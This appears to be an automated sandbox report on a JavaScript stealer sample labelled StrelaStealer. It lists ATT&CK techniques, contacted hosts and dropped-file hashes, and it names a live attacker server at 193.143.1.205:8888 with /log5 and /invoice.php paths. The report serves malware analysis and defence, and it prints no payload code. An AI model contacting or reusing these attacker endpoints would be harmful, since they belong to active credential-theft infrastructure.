Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
23754232101540928500.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/log5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.22	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2663012920.0000020F3D800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1437186316.000001F28462F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1436175201.000001F284611000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1436751349.000001F284611000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1434863609.000001F28462D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1436694381.000001F2845D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/log5	net.exe, 00000007.00000002.1436694381.000001F2845D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1439193451.0000020F3D660000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588592
Start date and time:	2025-01-11 02:50:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	23754232101540928500.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 184.28.90.27, 23.209.209.135, 217.20.57.22, 2.16.168.105, 2.16.168.107, 13.107.246.45, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 23754232101540928500.js

Simulations

Behavior and APIs

Time	Type	Description
20:51:56	API Interceptor	26x Sleep call for process: powershell.exe modified
20:52:00	API Interceptor	1x Sleep call for process: net.exe modified
20:52:00	API Interceptor	2x Sleep call for process: svchost.exe modified
20:52:08	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	rwlPT9YJt0.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	CGk5FtIq0N.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	wOBmA8bj8d.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	KtPCqWWnqM.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	kQibsaGS2E.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	RdichqztBg.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	AraK29dzhH.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	YrCSUX2O3I.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
bg.microsoft.map.fastly.net	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	78786270533822124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	212032324439912626.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	66419266296038088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49517574666429326
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaP:cJhXC9lHmutpJyiRDeJ/aUKrDgnmIde
MD5:	46608E1B94197F3EB24D099BC4F9E3A4
SHA1:	644AEB730317728FE2BDFE478FE7507D38255EAF
SHA-256:	EA03EBBDA9239EE636D69A4BD023F58C2E93B7586A7538F7702530B7E04C7A0E
SHA-512:	5377B928814E4CDC8A7E78ADA71743F5FC3B786B87E25C7A079CC487768F70673B3D7929B1C04E88B82133B7713A536625A885CB13A3D8EE21A31041387AFA38
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5babb8e1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216793162703077
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:7azaNvFv8V2UW/DLzN/w4wZi
MD5:	C3AC66912F61AB209B31E6E5F9F493CB
SHA1:	D6AEEE8C263ED130162D10E54691ABE0AF2F2909
SHA-256:	04E43D54C41596E10A6F7F249CDAEFE83132E33FA25C22192D0CD593C1BA0CCD
SHA-512:	9F61BF68CDC3A0664DEA04ECE0B6BA505A23CA62EDB2058518C6C2F91FB840F5C005883F15C396CDC405924C2A2F2FFBFF844F04DDB68D568B2077085502E133
Malicious:	false
Preview:	[...... ...............X\...;...{......................p.D..........{}..4...}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................\|....4...}g...................m..4...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08132952465988419
Encrypted:	false
SSDEEP:	3:+yl/yYeT46/fgsCrZClW/tPcYkMAoll+SHY/Xl+/rQLve:+2/yzTlfgs3G6JsAS4M
MD5:	0D8850392B1D1658FB47672C15930B3C
SHA1:	3D1A00628A41D604141F10F791D6EFB401337653
SHA-256:	E05138CEA2779BD0F328594E771E896325ADCC9A11F1D72D93C5ED7DE3C33BAA
SHA-512:	09DE23581190EB619A9D8B682FCA2392BFF7A03619BE357100C682C86ECE1D5B68367E00E7C6F50BF32E5FD99614C686260BF4F6649A3045B441393843F827B0
Malicious:	false
Preview:	>oT......................................;...{...4...}.......{}..............{}......{}.vv_Q.....{}...................m..4...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.116898022843855
Encrypted:	false
SSDEEP:	6:iO4qVMY+q2PqLTwi2nKuAl9OmbnIFUtSqVMGZZmwsqVMEbVkwOqLTwi2nKuAl9Oe:7nMY+v8wZHAahFUtZMGZ/LMEbV5TwZHi
MD5:	CED68496CEAB3DCC052D4D89FCEB9CA0
SHA1:	23D36857FC6393D3AD8A181B372D75D8FED49371
SHA-256:	078FDFC9B7E26B64267B3F97D57C893BF5C6358E17431E9AE1638C0B76FAD716
SHA-512:	AF20ADC968BF23F0A52BB5C5464C90BB12101471EFE0E0A681E2718981A66732DEFBA849A6DC37EBB2CBD31609C500FB8E11AC298ED47DC0ABEA0A1EF96BADD0
Malicious:	false
Preview:	2025/01/10-20:52:00.557 9dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:52:00.559 9dc Recovering log #3.2025/01/10-20:52:00.560 9dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.116898022843855
Encrypted:	false
SSDEEP:	6:iO4qVMY+q2PqLTwi2nKuAl9OmbnIFUtSqVMGZZmwsqVMEbVkwOqLTwi2nKuAl9Oe:7nMY+v8wZHAahFUtZMGZ/LMEbV5TwZHi
MD5:	CED68496CEAB3DCC052D4D89FCEB9CA0
SHA1:	23D36857FC6393D3AD8A181B372D75D8FED49371
SHA-256:	078FDFC9B7E26B64267B3F97D57C893BF5C6358E17431E9AE1638C0B76FAD716
SHA-512:	AF20ADC968BF23F0A52BB5C5464C90BB12101471EFE0E0A681E2718981A66732DEFBA849A6DC37EBB2CBD31609C500FB8E11AC298ED47DC0ABEA0A1EF96BADD0
Malicious:	false
Preview:	2025/01/10-20:52:00.557 9dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:52:00.559 9dc Recovering log #3.2025/01/10-20:52:00.560 9dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.130172690713174
Encrypted:	false
SSDEEP:	6:iO4qVMTNEpyq2PqLTwi2nKuAl9Ombzo2jMGIFUtSqVMpz1ZmwsqVMFORkwOqLTwy:7nMHv8wZHAa8uFUtZMpz1/LMFq5TwZHA
MD5:	A6D71C14B5FE8ED4F41686793BF9D36D
SHA1:	63E1F7F4D8224B54CC17744151197C43C783BFE2
SHA-256:	50A1D7EDB44947F1A0AA9EB5B8F9311FB97E85C1296D691B9EC6E25B14FF807A
SHA-512:	935CCA00FB2825788E39345A9FF6D6776E84D366EC73DDADA2CC5BE502573ABDC9BA7FBE738318AB2D80CB541729EFFAC37B19C2782D73C4572D5F4F93D15983
Malicious:	false
Preview:	2025/01/10-20:52:00.693 11a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:52:00.694 11a4 Recovering log #3.2025/01/10-20:52:00.695 11a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.130172690713174
Encrypted:	false
SSDEEP:	6:iO4qVMTNEpyq2PqLTwi2nKuAl9Ombzo2jMGIFUtSqVMpz1ZmwsqVMFORkwOqLTwy:7nMHv8wZHAa8uFUtZMpz1/LMFq5TwZHA
MD5:	A6D71C14B5FE8ED4F41686793BF9D36D
SHA1:	63E1F7F4D8224B54CC17744151197C43C783BFE2
SHA-256:	50A1D7EDB44947F1A0AA9EB5B8F9311FB97E85C1296D691B9EC6E25B14FF807A
SHA-512:	935CCA00FB2825788E39345A9FF6D6776E84D366EC73DDADA2CC5BE502573ABDC9BA7FBE738318AB2D80CB541729EFFAC37B19C2782D73C4572D5F4F93D15983
Malicious:	false
Preview:	2025/01/10-20:52:00.693 11a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:52:00.694 11a4 Recovering log #3.2025/01/10-20:52:00.695 11a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957686127328748
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2Htcaq3QYiub5P7E4T3y:Y2sRdsVdMHc3QYhbt7nby
MD5:	FE87F1A298FCEE1C2B6F0FA795DCF932
SHA1:	E99422B88D76F913AB2EB915F8D390A64013C17A
SHA-256:	265A6FC331D3D52953537F1DE093E85A0E1E2EE30588717A421C46693EB22301
SHA-512:	6478CF0B602E59B5D77E5C23A0416EA9FA4094AB5D1B7C32AD7756C672412870978EE63AC2FB4A37893EE3015D6E67F1165C41B53F02B9E8766988869BC9DD1F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120332391650","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130401},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c7bee8aa-c3f2-4511-bf04-479f6693dce3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957686127328748
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2Htcaq3QYiub5P7E4T3y:Y2sRdsVdMHc3QYhbt7nby
MD5:	FE87F1A298FCEE1C2B6F0FA795DCF932
SHA1:	E99422B88D76F913AB2EB915F8D390A64013C17A
SHA-256:	265A6FC331D3D52953537F1DE093E85A0E1E2EE30588717A421C46693EB22301
SHA-512:	6478CF0B602E59B5D77E5C23A0416EA9FA4094AB5D1B7C32AD7756C672412870978EE63AC2FB4A37893EE3015D6E67F1165C41B53F02B9E8766988869BC9DD1F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120332391650","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130401},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.222113673342558
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Ozp9A3khO/:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzpG
MD5:	C34886783A116EEB72113F4E6301F300
SHA1:	0FA77836CE816B424D3254402531E53D83675C3E
SHA-256:	45FAB2948C823A785E2D41659E26C8FCBCDC4DD2A5CFA195B53FD29161EBF749
SHA-512:	A6D53C3019CF774126FF0B8A218B08EA312D4C00DE2E90CB2B319E6333E9D59523AE548D46EA0DA419BBD97858553BC5A57815471A08FFAE7C088DA5504CEDF0
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.090245593348656
Encrypted:	false
SSDEEP:	6:iO4qVMlMPyq2PqLTwi2nKuAl9OmbzNMxIFUtSqVMf1ZmwsqVMhgjlRkwOqLTwi2v:7nMlrv8wZHAa8jFUtZMf1/LMOz5TwZHP
MD5:	579EDF6CD50F4231C2AE524E5E563622
SHA1:	A5967F1982CE0ADC8E8180EB0AFBF35548D7DAE8
SHA-256:	55466ED972A69BAFE9EAB0A417FE1AFCC3C76FB257D78BD12777A863BBB4432F
SHA-512:	09CAFA35EE03C887C31AA875B24FDB3CA64D472D909E0EF964E5592449B080576129CEB32F1FC0E2DABB6E15793008467DBD30FB41DF1034423C329FF95F0A97
Malicious:	false
Preview:	2025/01/10-20:52:01.382 11a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:52:01.402 11a4 Recovering log #3.2025/01/10-20:52:01.414 11a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.090245593348656
Encrypted:	false
SSDEEP:	6:iO4qVMlMPyq2PqLTwi2nKuAl9OmbzNMxIFUtSqVMf1ZmwsqVMhgjlRkwOqLTwi2v:7nMlrv8wZHAa8jFUtZMf1/LMOz5TwZHP
MD5:	579EDF6CD50F4231C2AE524E5E563622
SHA1:	A5967F1982CE0ADC8E8180EB0AFBF35548D7DAE8
SHA-256:	55466ED972A69BAFE9EAB0A417FE1AFCC3C76FB257D78BD12777A863BBB4432F
SHA-512:	09CAFA35EE03C887C31AA875B24FDB3CA64D472D909E0EF964E5592449B080576129CEB32F1FC0E2DABB6E15793008467DBD30FB41DF1034423C329FF95F0A97
Malicious:	false
Preview:	2025/01/10-20:52:01.382 11a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:52:01.402 11a4 Recovering log #3.2025/01/10-20:52:01.414 11a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438172442866721
Encrypted:	false
SSDEEP:	384:ye+ci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pCurVgazUpUTTGt
MD5:	D16F8843715F8A4201E4F2373E1094CD
SHA1:	E9855D6ABF18076130396C42B39E81571A5B117A
SHA-256:	E2A4DAD4ECD8A1BBE332F8FEC4F2EBDF41E677726E698A05154578B814A7094F
SHA-512:	3EF63791232094A0E402C72CF0C7BB951FA83474D1A5C092477DD263E7964BF6C3A5B4B9124B0986024F1DBD694EE0B74713C59490A3EFF954EA03F99ABD7ED1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765981915554392
Encrypted:	false
SSDEEP:	48:7MlJioyV9ioyWoy1C7oy16oy1rKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OW:7+Ju9mKXjBiOb9IVXEBodRBkK
MD5:	487A0B844967549D763CB62FA6BFE025
SHA1:	E34D60D9935CCF267D5B7013F1EB93EBEBFE1484
SHA-256:	17F8A7921D90F6DA04FD1A65690DAD0ED9EAC5B332EB10991FB4E583D4D7A60E
